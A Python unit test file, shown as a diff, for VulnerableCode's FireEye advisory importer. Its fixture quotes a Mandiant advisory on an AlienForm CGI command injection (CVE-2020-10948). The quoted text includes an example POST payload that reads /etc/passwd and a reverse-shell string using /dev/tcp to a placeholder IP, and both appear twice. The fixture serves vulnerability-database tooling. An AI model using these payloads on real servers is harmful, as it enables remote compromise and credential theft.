|
| 1 | +# |
| 2 | +# Copyright (c) nexB Inc. and others. All rights reserved. |
| 3 | +# VulnerableCode is a trademark of nexB Inc. |
| 4 | +# SPDX-License-Identifier: Apache-2.0 |
| 5 | +# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. |
| 6 | +# See https://github.com/nexB/vulnerablecode for support or download. |
| 7 | +# See https://aboutcode.org for more information about nexB OSS projects. |
| 8 | +# |
| 9 | +from unittest import TestCase |
| 10 | + |
| 11 | +from vulnerabilities.importer import Reference |
| 12 | +from vulnerabilities.importers.fireeye import get_aliases |
| 13 | +from vulnerabilities.importers.fireeye import get_references |
| 14 | +from vulnerabilities.importers.fireeye import md_list_to_dict |
| 15 | + |
| 16 | + |
| 17 | +class TestFireeyeImporter(TestCase): |
| 18 | + def test_md_list_to_dict(self): |
| 19 | + md_list = [ |
| 20 | + "# FEYE-2020-0004", |
| 21 | + "## Description", |
| 22 | + "AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934.", |
| 23 | + "## Impact", |
| 24 | + "High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment.", |
| 25 | + "## Exploitability", |
| 26 | + "High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file.", |
| 27 | + "## CVE Reference", |
| 28 | + "CVE-2020-10948", |
| 29 | + "## Technical Details", |
| 30 | + "Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters", |
| 31 | + "Affected URL:", |
| 32 | + "http://<affected host>//cgibin/af2.cgi", |
| 33 | + "Example attack payload:", |
| 34 | + "POST //cgibin/af2.cgi HTTP/1.1 <br>", |
| 35 | + "Host: <affected host> <br>", |
| 36 | + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 <br>", |
| 37 | + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <br>", |
| 38 | + "Accept-Language: en-US,en;q=0.5 <br>", |
| 39 | + "Accept-Encoding: gzip, deflate <br>", |
| 40 | + "Connection: close <br>", |
| 41 | + "Upgrade-Insecure-Requests: 1 <br>", |
| 42 | + "Content-Length: 38 <br>", |
| 43 | + "_browser_out=%7Ccat%20/etc/passwd%7C", |
| 44 | + "Reverse Shell Example:", |
| 45 | + "_browser_out=%7Cbash+-i+>%26+/dev/tcp/<IP>/8080+0>%261%7C", |
| 46 | + "## Resolution", |
| 47 | + "Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support.", |
| 48 | + "## Discovery Credits", |
| 49 | + "Nikhith Tummalapalli, Mandiant FireEye", |
| 50 | + "## Disclosure Timeline", |
| 51 | + "- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back", |
| 52 | + "- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information", |
| 53 | + "- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.", |
| 54 | + "- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.", |
| 55 | + "- 24 Mar 2020: Reserved CVE with Mitre after 90 days", |
| 56 | + "- 1 April 2020: Posted and notified Mitre of reference", |
| 57 | + "## References ", |
| 58 | + "- http://1-4a.com/cgi-bin/alienform/af.cgi", |
| 59 | + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", |
| 60 | + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", |
| 61 | + ] |
| 62 | + assert md_list_to_dict(md_list) == { |
| 63 | + "# FEYE-2020-0004": [], |
| 64 | + "## Description": [ |
| 65 | + "AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934." |
| 66 | + ], |
| 67 | + "## Impact": [ |
| 68 | + "High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment." |
| 69 | + ], |
| 70 | + "## Exploitability": [ |
| 71 | + "High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file." |
| 72 | + ], |
| 73 | + "## CVE Reference": ["CVE-2020-10948"], |
| 74 | + "## Technical Details": [ |
| 75 | + "Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters", |
| 76 | + "Affected URL:", |
| 77 | + "http://<affected host>//cgibin/af2.cgi", |
| 78 | + "Example attack payload:", |
| 79 | + "POST //cgibin/af2.cgi HTTP/1.1 <br>", |
| 80 | + "Host: <affected host> <br>", |
| 81 | + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 <br>", |
| 82 | + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <br>", |
| 83 | + "Accept-Language: en-US,en;q=0.5 <br>", |
| 84 | + "Accept-Encoding: gzip, deflate <br>", |
| 85 | + "Connection: close <br>", |
| 86 | + "Upgrade-Insecure-Requests: 1 <br>", |
| 87 | + "Content-Length: 38 <br>", |
| 88 | + "_browser_out=%7Ccat%20/etc/passwd%7C", |
| 89 | + "Reverse Shell Example:", |
| 90 | + "_browser_out=%7Cbash+-i+>%26+/dev/tcp/<IP>/8080+0>%261%7C", |
| 91 | + ], |
| 92 | + "## Resolution": [ |
| 93 | + "Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support." |
| 94 | + ], |
| 95 | + "## Discovery Credits": ["Nikhith Tummalapalli, Mandiant FireEye"], |
| 96 | + "## Disclosure Timeline": [ |
| 97 | + "- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back", |
| 98 | + "- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information", |
| 99 | + "- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.", |
| 100 | + "- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.", |
| 101 | + "- 24 Mar 2020: Reserved CVE with Mitre after 90 days", |
| 102 | + "- 1 April 2020: Posted and notified Mitre of reference", |
| 103 | + ], |
| 104 | + "## References ": [ |
| 105 | + "- http://1-4a.com/cgi-bin/alienform/af.cgi", |
| 106 | + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", |
| 107 | + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", |
| 108 | + ], |
| 109 | + } |
| 110 | + |
| 111 | + def test_get_ref(self): |
| 112 | + assert get_references( |
| 113 | + [ |
| 114 | + "- http://1-4a.com/cgi-bin/alienform/af.cgi", |
| 115 | + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", |
| 116 | + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", |
| 117 | + ] |
| 118 | + ) == [ |
| 119 | + Reference(url="http://1-4a.com/cgi-bin/alienform/af.cgi"), |
| 120 | + Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934"), |
| 121 | + Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948"), |
| 122 | + ] |
| 123 | + |
| 124 | + assert get_references([]) == [] |
| 125 | + |
| 126 | + def test_get_aliases(self): |
| 127 | + assert get_aliases("MNDT-2021-0012", ["CVE-2021-44207"]) == [ |
| 128 | + "CVE-2021-44207", |
| 129 | + "MNDT-2021-0012", |
| 130 | + ] |
| 131 | + assert get_aliases("MNDT-2021-0012", []) == ["MNDT-2021-0012"] |
0 commit comments